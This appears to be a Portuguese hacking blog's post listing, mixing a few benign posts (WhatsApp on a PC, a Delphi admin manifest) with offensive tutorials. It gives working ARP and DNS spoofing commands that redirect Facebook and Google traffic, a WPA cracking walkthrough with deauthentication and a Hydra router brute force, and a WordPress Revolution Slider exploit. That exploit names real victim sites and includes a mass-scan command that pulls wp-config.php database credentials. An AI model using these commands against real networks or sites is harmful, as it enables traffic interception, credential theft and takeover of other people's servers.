MITMf Framework Man-In-The-Middle attacks

O que é um Ataque Man-in-The-Middle

" OBS.. Post Em Edição... "

O man-in-the-middle (pt: Homem no meio, em referência ao atacante que intercepta os dados) é uma forma de ataque em que os dados trocados entre duas partes, por exemplo você e o seu banco, são de alguma forma interceptados, registrados e possivelmente alterados pelo atacante sem que as vitimas se apercebam. Fonte

MITMf é um Framework para ataques Man-In-The-Middle

Esta é uma ferramenta baseada python com vários plugins que adicionam mais funcionalidade (e flexibilidade) à sua rotina de testes de penetração e, assim, torná-lo mais rápido e mais produtivo

Plugins disponíveis:

Spoof – Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects

BeEFAutorun – Autoruns BeEF modules based on clients OS or browser type

AppCachePoison – Perform app cache poison attacks

BrowserProfiler – Attempts to enumerate all browser plugins of connected clients

CacheKill – Kills page caching by modifying headers

FilePwn – Backdoor executables being sent over http using bdfactory

Inject – Inject arbitrary content into HTML content

JavaPwn – Performs drive-by attacks on clients with out-of-date java browser plugins

jskeylogger – Injects a javascript keylogger into clients webpages

Replace – Replace arbitary content in HTML content

SMBAuth – Evoke SMB challenge-response auth attempts

Upsidedownternet – Flips images 180 degrees

Referência Aqui;

                                      Source && Download
                                          mitmf download
Command:

:~# apt-get update && apt-get install mitmf

Command Basic

:~#  mitmf --spoof --arp --interface eth0 --target 192.168.1.6 --gateway 192.168.1.1

                                   " OBS.. Post Em Edição... "

--interface = Interface de rede eth0/eth1 ou wlan0/wlan1
--target     = Alvo que você deseja spofar
--gateway =  Ip do roteador q você o alvo estao conectados
 

Video:

MITMf Framework Man-In-The-Middle attacks from Mathew Thomas on Vimeo.

Read More

Quebrando Senha de Rede Wi-Fi WPA/WPA2 + MacChanger + Crack HTTP Password Hydra

" Quebrando Senha de Rede Wi-Fi WPA/WPA2 "
" Clonar Mac "
" Quebrando Senha HTTP Modem "
Step 1

$ airmon-ng

Step 2

$ airmon-ng start wlan1

Step 3

$ airodump-ng mon0

Comando "airodump-ng mon0" Salve em um bloco de notas o: BSSID, CHANEL, ESSID.
BSSID = 00:00:00:00:00:00
CH = 00
ESSID = Wiless_Name
Step 4

$ airodump-ng --bssid 00:00:00:00:00:00 -w handhash -c 00 mon0

O Comando "airodump-ng --bssid 00:00:00:00:00:00 -w handhash -c 00 mon0" Salve alguma estacao.
STATION = 00:00:00:00:00:01
Step 5

$ aireplay-ng -0 0 -a 00:00:00:00:00:00 -e Wiless_Name --ignore-negative-one mon0

Step 6

$ aircrack-ng handhash-01.cap -w /usr/share/dirb/wordlists/big.txt 

Trocando o Mac
Step 7

$ ifconfig wlan1 down

$ macchanger --mac 64:89:9A:18:28:03 wlan0

YOUR MAC: 00:00:00:00:00:02 (Name)
Save your mac on Notepad
Step 8

$ ifconfig wlan0 up

Cracking Modem password
Step 9

hydra -l admin -P /usr/share/dirb/wordlists/big.txt -e ns -t 10 -s -vV 192.168.0.1 http-get

Video:

Quebrando Senha de Rede Wi-Fi WPA/WPA2 + MacChanger + Crack HTTP Hydra from Mathew Thomas on Vimeo.

Read More

Kali Linux DNS Spoofing

Awe pessoal hoje vou falar um pouco sobre DNS Spoof;

O que é DNS Spoof?


DNS Spoof é uma técnica em que os hackers usa para redireciona um sites  que as vítimas querem acessar.
A maioria das pessoas que usam páginas fakes fazem isso.

Falsificação de DNS (ou cache DNS envenenamento) é um computador de hackers ataque, segundo o qual os dados são introduzidos em um Domain Name System (DNS) resolver 's de cache , fazendo com que o servidor de nomes para retornar um incorreto endereço IP , desviando o tráfego para o
computador do atacante (ou qualquer outro computador). Fonte: Wikepedia

Comando:

$ echo "1" >> /proc/sys/net/ipv4/ip_forward

$ arpspoof -i wlan0 192.168.0.1

Creie uma Lista ex:

66.135.216.190 *.google.com
66.135.216.190 mail.live.com
66.135.216.190 br.msn.com
66.135.216.190 m.facebook.com
66.135.216.190 www.facebook.com
66.135.216.190 pt-br.facebook.com

$ dnsspoof -i wlan0 -f lista

Video:

Kali Linux DNS Spoofing from Mathew Thomas on Vimeo.

Read More

Como usar o WhatsApp no Computador

Fala Galera do youtube
Aqui é o mathew, e hoje vou aborda um assunto diferente, pra aqueles que curtem pc mais querem ter um WhatsApp nele

Pode ser em:
Sistema Operacional
  Windows
  Linux
  Mac

Requesitos

  VirtualBox    
    -> Download
    -> VMWare não testei
        
   Android-x86   
    -> Download
    -> Baixem essa versao android-x86-4.4-RC2.iso
        
   2 Mouses  
      1 Para seu Host Hospedeiro
      1 Para seu Android
               
   WhatsApp.apk 
     -> Download
       
   Numero telefone
     -> oi, vivo, tim, claro
        Obs: O numero deve esta em um celular comum, para q
        vc possa receber a ligação com o code de confimação
        do whats, insira o code quando vc receber e pronto pode usar o whats normalmente
Faça o Download dos arquivos nescessarios

Instalações

       ¹ Maquina Virtual -> Você ja deve saber disso
       ² Android-x86 ->  Link do Video
       ³ Whatsapp.apk
          -> Obs: O numero deve esta em um celular comum, para q
          -> vc possa receber a ligação com o code de confimação
          -> do whats, insira o code quando vc receber e pronto pode usar o whats normalmente
      
Extras
Galeria de Fotos, nao abre pelo menos pra mim
 -> Pra poder colocar foto no whatsapp instale o cymera e quando for altera a foto abra com o cymera na opção

Reprodutor de Video, da uns legs

Teclado ingles internacional, acentuasções não funciona

Video

Como usar o WhatsApp no Computador from Mathew Thomas on Vimeo.

Read More

Delphi XE7: Executando Automaticamente Aplicação com Privilégios de Administrador

Olá Pessoal,
Neste poste irei mostra como você podem está configurando suas aplicações para ser executada automaticamente com privilégios de administrador, tendo permissão, por exemplo, para alterar o registro do Windows ou enviar alguma coisa para a System32.

Passo 1:
Criando  UAC.manifest
Abra o seu editor de texto de sua preferência, e insira os seguintes códigos XML:

<assembly manifestversion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
  <assemblyidentity name="NOME-DO-SEU-PROJETO.exe" processorarchitecture="*" type="win32" version="3.1.0.0">
  <dependency>
    <dependentassembly>
      <assemblyidentity language="*" name="Microsoft.Windows.Common-Controls" processorarchitecture="*" publickeytoken="6595b64144ccf1df" type="win32" version="6.0.0.0">
    </assemblyidentity></dependentassembly>
  </dependency>
  <trustinfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedprivileges>
        <requestedexecutionlevel level="requireAdministrator" uiaccess="false">
        </requestedexecutionlevel></requestedprivileges>
    </security>
  </trustinfo>
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <!--The ID below indicates application support for Windows Vista -->
      <supportedos id="{e2011457-1546-43c5-a5fe-008deee3d3f0}">
      <!--The ID below indicates application support for Windows 7 -->
      <supportedos id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}">
    </supportedos></supportedos></application>
  </compatibility>
</assemblyidentity></assembly>

Na terceira linha substitua o nome do NOME-DO-SEU-PROJETO.exe pelo nome do Seu-Projeto.exe. Clique em Save As (Salvar Como) e atribua o seguinte nome "UAC.manifest". O arquivo deve ser salvo no mesmo diretório do executável.

Passo 2:
Criando o UAC.rc
Abra o seu Editor de texto e cole esse código:

1 24 "UAC.manifest"

Clique em Save As (Salvar Como) e atribua o seguinte nome "UAC.rc". Salve, também, este arquivo no mesmo diretório do executável.

Passo3:
Agora, vamos adicionar este último arquivo ao nosso projeto. No Menu principal do Delphi vá até Project --> Add to Project e selecione o arquivo "UAC.rc".

 

Na TreeView do Project Manager deverá aparecer o arquivo adicionado conforme figura abaixo:

Compile a aplicação. Após o fim da compilação vá até o diretório do executável e verifique se foi criado o arquivo UAC.RES.

Esse arquivo deve ser usado como opção de inicialização do sistema e é através dele que serão dados os privilégios de rodar como administrador automaticamente. Quando compilamos uma aplicação, ela automaticamente gera um arquivo SeuProjeto.RES que será usado como Manifest inicial. O que iremos fazer é substituir esse arquivo pelo nosso manifest.

Passo 4:
Assim sendo, vá até o Menu Project | Options | Application e onde estiver marcada a opção "Enable RunTime Themes" substitua por "Use Custom Manifest". Logo abaixo aparecerá uma opção para que você selecione o arquivo manifest que deseja utilizar. Selecione o arquivo "UAC.manifest" criado e execute sua aplicação.

Icone do aplicativo antes:

Icone Depois:

Bom Pessoal é isso, ate a Proxima com mais Delphi XE7

Video Abaixo:

Read More

WeRTC Javascript Bypass Tor vpn

Usuários de VPN estão enfrentando uma falha de segurança enorme, em que sites podem ter acesso facilmente a seus endereços de IP através WebRTC.

A vulnerabilidade é limitado a navegadores de suporte, Firefox e Chrome, e parece afetar apenas os usuários do Windows. Felizmente a falha de segurança é relativamente fácil de corrigir.

WebRTC é uma API em desenvolvimento elaborada pela World Wide Web Consortium (W3C) para permitir aos navegadores executar aplicações de chamada telefônica, video chat e compartilhamento P2P sem a necessidade de plugins.

Revelações feitas pelo Snowden, deixaram claro que a privacidade on-line não é, certamente, um dado adquirido.

Apenas alguns dias atrás, nós vimos que o Governo canadense rastreia visitantes de dezenas de sites de compartilhamento de arquivo populares.

Como essas histórias fazem manchetes em tem todo o interesse mundial em serviços de anonimato, tais como VPNs tem aumentado, como até mesmo os usuários regulares da Internet não gosta da idéia de ser espionado.

Infelizmente, até mesmo os melhores serviços de VPN não podem garantir que ser 100% de segurança. Nesta semana, uma muito preocupante falha de segurança revelou que é fácil de ver os verdadeiros endereços IP de muitos usuários de VPN através de um recurso WebRTC.

Com algumas linhas de código, sites podem fazer solicitações para atordoar os servidores e log VPN IP-address dos usuários e o "hidden" home IP-address IP, bem como endereços de rede local.

A vulnerabilidade afeta navegadores WebRTC de suporte, Firefox e Chrome e parece estar limitada a máquinas Windows.

A demo publicada no GitHub pelo desenvolvedor Daniel Roesler permite que as pessoas possam verificar se são afetados pela falha de segurança.

DEMO: github.com/diafygi/webrtc-ips

TESTE AQUI: diafygi.github.io/webrtc-ips

Tutorial Completo Aqui
 

Read More

Wordpress Revolution Slider Local File Disclosure

Wordpress Revolution Slider Local File Disclosure
Nesse tutorial mostro como vocês pode obter dados do mysql dos servidores vulneravel, ("E-Commerce") usando a google inurlbr para fazer as busca e deixando tudo organizado no bloco de notas, tambem fazendo uma verificação na posta do servidor, a porta 3306 a qual usaremos para nos conectar nor servidor, e assim tendo acesso a tabela de usuarios do wordpress, podendo fazer update da senha e colocando a nossa e assim logamos no painel.

[+] Titulo: Wordpress slider reolusion local file download
[+] Data: 25-01-2015
[+] Author: JOK3R
[+] Site Vendedor: https://wordpress.org/plugins/patch-for-revolution-slider/
[+] Testado em: windows 7 / firefox , kali linux / firefox
[+] Arquivos Vulneravel: /plugins/revolution-slider/
[+] Dork : "Index of" /wp-content/plugins/revolution-slider/

POC:

http://victim/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php

Demo:

http://www.bungaburgerbar.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
http://www.peanut215.com/peanut/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
http://www.pro-businesscenter.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php

Creditos:

Special Thanks: Sheytan Azzam - Mohamad NOfozi - Root3r - Sina_lizard - Ali Ahmady - iliya Norton - Mr.Moein* - ALIREZA_PROMIS*
And All iranian Hacker's And Exploiter's <3
[+] iran-cyber.in 

Sobre SCANNER - INURLBR

GRUPO GOOGLEINURL BRASIL - PESQUISA AVANÇADA.
SCRIPT NAME: INURLBR
AUTOR: Cleiton Pinheiro
Nick: Googleinurl
Blog: http://blog.inurl.com.br
twitter: /@googleinurl
facebook: /InurlBrasil Download: Script

Outras  Informações
Na Busca vamos usar a "Google InurlBR" que faz toda a busca de forma rapida e facil. Junto como o comando do NMAP, para verificar a porta 3306 se está aberta. (OBS, "Não significa a porta esteja aberta que você consiga entrar no MYSQL. Algums Servidores, devem está configurado para não acessa remotamente o servidor do MYSQL")

Busca Avançada com InurlBr + Nmap
Mude aqui para outros dominios em = site:br, site:com, site:uk... etc
Crie um pasta na sua area de trabalho com o nome  " output " ou remova o caminho

Comando InurlBR

root@kali:~# php inurlbr.php --dork '"Index of" /wp-content/plugins/revolution-slider site:br' -q 1,6 -s ~/Desktop/output/wp-out.txt --exploit-get '/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php' --comand-vul 'nmap -Pn -p 3306 _TARGET_' --comand-all 'echo "_TARGET__EXPLOIT_">> ~/Desktop/output/wp-out-curl.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> ~/Desktop/output/wp-out-curl.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

Video:

Wordpress_Revolution_Slider_Local_File_Disclosure - ECommerce from Mathew Thomas on Vimeo.

https://youtu.be/5rvOuPGLwuk?t=4m48s

Read More